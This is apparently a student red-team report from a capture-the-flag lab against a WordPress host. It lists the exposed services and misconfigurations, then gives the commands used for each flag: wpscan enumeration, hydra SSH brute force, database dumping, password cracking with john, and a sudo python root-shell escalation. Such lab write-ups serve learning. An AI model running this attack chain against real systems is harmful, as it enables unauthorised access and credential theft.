# **Red Team: Summary of Operations**

## **Table of Contents**

* Exposed Services
* Critical Vulnerabilities
* Exploitation

### **Exposed Services**

Nmap scan results for each machine reveal the below services and OS details:

$ nmap -sS -A -p- -oN 192.168.1.110.txt 192.168.1.110  
  
Nmap output: [nmap.txt](Notes/namp.txt)

This scan identifies the services below as potential points of entry:

* 192.168.1.110
  + Service: SSH Port: 22
  + Service: HTTP Port: 80
  + Service: RPCBind Port: 111
  + Service: Samba Ports139,145

*.*

The following vulnerabilities were identified on the target:

* Target 1
  + dirb found the commonly named wordpress/ directory allowing us to run the wpscan tool effectively
  + incorrect dir permissions on /www/html/wordpress/ enabling a user other than the owner/webserver to access the wp configuration file which contains plain text database credentials
  + having python run with a super user id (suid) allowing it to run as root for the steven user under their permissions (login as steven and run sudo -l)
  + not having a specific database user for wordpress, the target uses the dbms root user, meaning anyone could access anything outside of the wp db scope*.*

### 

### **Exploitation**

*TODO: Fill out the details below. Include screenshots where possible.*

The Red Team was able to penetrate Target 1 and retrieve the following confidential data:

* Target 1
  + Flag 1

Text

Description automatically generated with medium confidence

* + - **Exploit Used**
      * *Examine html source code of each page in the website looking for any information in code comments*
  + Flag 2



* + - **Exploit Used**
      * wpscan --url http://192.168.1.110/wordpress --force -v
        + *exposes wordpress usernames, specifically the “Michael” user*
      * hydra 192.168.1.110 -l “michael” -P /usr/share/wordlists/rockyou.txt ssh
        + brute force the ssh credentials for the Michael user using a common password list
      * find / -name \*flag\* 2>/dev/null
        + Login as Michael via ssh and search for the term “flag” revealing the second flag I the /var/www/ directory
  + Flag 3



* + - **Exploit Used**
      * *Wordpress configuration file was accessible to read by the user Michael, exposing the root user database credentials*
      * mysqldump -u root -p wordpress > wordpress.sql
        + the third flag was found as a record inside the database dump
  + Flag 4

Text

Description automatically generated

* + - **Exploit Used**
      * *Extracted password hashes from the wordpress database dump*
      * john --wordlist=rockyou.txt hashes.txt
        + brute force the passwords for the users credentials dumped from the database, the user steven’s password was found
      * su steven; sudo -l
        + switch user to steven and list any sudo privileges, reveals python can be run by steven with sudo privileges.
      * sudo python -c ‘import os; os.execl(“/bin/bash”, “bash”, “-p)’
        + exploits the sudo access to python for the steven user to access a root shell
      * find / -name flag\* 2>/dev/null
        + searching for flags as root exposes the fourth flag